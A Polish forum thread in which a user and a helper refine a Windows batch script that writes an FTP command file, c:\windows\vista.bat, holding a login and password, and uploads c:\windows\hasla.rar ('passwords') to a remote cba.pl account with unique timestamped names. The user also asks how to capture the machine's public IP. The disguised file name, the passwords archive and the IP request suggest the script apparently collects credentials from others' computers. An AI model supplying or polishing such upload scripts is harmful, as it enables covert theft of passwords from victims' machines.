Upload na serwer plikiem wsadowym


(Pablik) #1

Witam zrobiłem se plik wsadowy który mi upload'uje dane na serwer

echo off

echo user admin@Pablik.cba.pl>> c:\windows\vista.bat

echo bleble>> c:\windows\vista.bat

echo bin>> c:\windows\vista.bat

echo put c:\windows\hasla.rar >>c:\windows\vista.bat

echo quit>>c:\windows\vista.bat

ftp -n -s:c:\windows\vista.bat cba.pl

Problem jest związany z nazwą pliku wysyłanego na serwer . Ponieważ jak będę chciał go wysłać drogi raz to nadpisze mi ten pierwszy . Myślałem nad jakimś poleceniem losującym z przedziału licz i zęby zmieniać nazwę pliku wysyłanego na np. Dane(wylosowana liczba) . Ale może ktoś ma inny pomysł


([alex]) #2

echo off

date /T >~tmp.bat

set /P a= <~tmp.bat

time /T >~tmp.bat

set /P b= <~tmp.bat

echo copy c:\windows\hasla.rar "hasla %a%%b%.rar" >~tmp.bat

call ~tmp.bat

echo user admin@Pablik.cba.pl> c:\windows\vista.bat

echo bleble>> c:\windows\vista.bat

echo bin>> c:\windows\vista.bat

echo put "hasla %a%%b%.rar" >>c:\windows\vista.bat

echo quit>>c:\windows\vista.bat

ftp -n -s:c:\windows\vista.bat cba.pl

echo del "hasla %a%%b%.rar" >~tmp.bat

call ~tmp.bat

del ~tmp.bat

set a=

set b=

Czemu nie użyjesz menadżera plików na http://www.cba.pl/panel/tools/filemanager/ ?

ten sam użytkownik, to samo hasło.


(Pablik) #3

mógłbyś objaśnić działanie tego skrypta ?


([alex]) #4

echo off

date /T >~tmp.bat <= wpisz aktualną datę do pliku ~tmp.bat

set /P a= <~tmp.bat <= dane z pliku wpisz do zmiennej a

time /T >~tmp.bat <= wpisz aktualny czas do pliku ~tmp.bat

set /P b= <~tmp.bat <= dane z pliku wpisz do zmiennej b

echo copy c:\windows\hasla.rar "hasla %a%%b%.rar" >~tmp.bat <= zapisz do pliku ~tmp.bat komendę kopiującą plik c:\windows\hasla.rar na plik np: "hasla 05.03.2009 15:52:47.rar"

call ~tmp.bat <= wykonujemy zapisaną komendę tworzenia kopii z pliku ~tmp.bat

echo user admin@Pablik.cba.pl> c:\windows\vista.bat

echo bleble>> c:\windows\vista.bat

echo bin>> c:\windows\vista.bat

echo put "hasla %a%%b%.rar" >>c:\windows\vista.bat <= zmieniona komenda put, wysyłamy powstałą kopie

echo quit>>c:\windows\vista.bat

ftp -n -s:c:\windows\vista.bat cba.pl

echo del "hasla %a%%b%.rar" >~tmp.bat <= zapisujemy do pliku ~tmp.bat komendę kasującą powstałą kopię

call ~tmp.bat <= wykonujemy zapisaną komendę kasująca kopie z pliku ~tmp.bat

del ~tmp.bat <= kasujemy plik ~tmp.bat

set a= <= kasujemy zmienną a

set b= <= kasujemy zmienną b


(Pablik) #5

Jest wał bo on czas podaje np 18:46.. a w nazwie pliku nie mogą być takie znaki jak ":" ;(

Można zmienną %time% podzielić na %h% =godziny %m%=minuty i %s%=sekundy ??


([alex]) #6

Trochę pomyślałem i zmodyfikowałem:

jak skasujesz REM to będzie z liczbą losową

echo off

set ext=%DATE% %TiME::=-%

rem set ext=%RANDOM%

copy c:\windows\hasla.rar "hasla %ext%.rar"

echo user admin@Pablik.cba.pl> c:\windows\vista.bat

echo bleble>> c:\windows\vista.bat

echo bin>> c:\windows\vista.bat

echo put "hasla %ext%.rar" >>c:\windows\vista.bat

echo quit>>c:\windows\vista.bat

ftp -n -s:c:\windows\vista.bat cba.pl

del "hasla %ext%.rar"

set ext=

Nadal nie rozumiem czemu nie menadżer plików na http://www.cba.pl/panel/tools/filemanager/ ?


(Pablik) #7

juk już tak będzie to ok ale nie rozumiem czemu tak to komplikujesz ??

echo off

echo ren c:\windows\hasla.rar

echo user admin@Pablik.cba.pl>> c:\windows\vista.bat

echo bleble>> c:\windows\vista.bat

echo bin>> c:\windows\vista.bat

echo put c:\windows\hasla.rar hasla_%date%_%random%.rar >>c:\windows\vista.bat

echo quit>>c:\windows\vista.bat

ftp -n -s:c:\windows\vista.bat cba.pl

Ale mimo to wielkie dzięki i tak bez twojej pomocy bym nie zrozumiał tych gotowych zmiennych %date% i %time%


([alex]) #8

Heh racja, kompletnie zapomniałem że put w ftp'ie może mieć drugi parametr.

Chyba już nie potrzebujesz wiersza:

echo ren c:\windows\hasla.rar

i może jednak:

echo put c:\windows\hasla.rar hasla_%date%_%time::=-%.rar >>c:\windows\vista.bat

będzie lepsza, czas będzie z kreskami oraz milisekundami:

albo:

echo put c:\windows\hasla.rar hasla_%date:.=,%_%time::=,%.rar >>c:\windows\vista.bat

data będzie przez przecinki czas też.


(Pablik) #9

Wielkie dzięki działa , a mam jeszcze 1 pytanko można jakoś adres ip(chodzi mi o publiczny adres ip) przypisać do zmiennej nie chodzi mi o to

Set ip=78.8.134.27

tylko coś w stylu tej daty i godziny

i mógłbys mi wytłumaczyć na jakiej zasadzie zmieniłeś %time% na %time::=-%

::=-

dlaczego tu jest dwa razy :: jak by było coś takiego to bym zrozumiał :=-

czy znakiem przyrównania jest ":=" ??


([alex]) #10

uruchom

set /?

i sobie poczytaj :lol:

set a=ala ma kota

set b=%a:ma=miala%

echo %b%


(Pablik) #11

ok rozumiem ":" to oddzielenie wielkie dzięki :wink: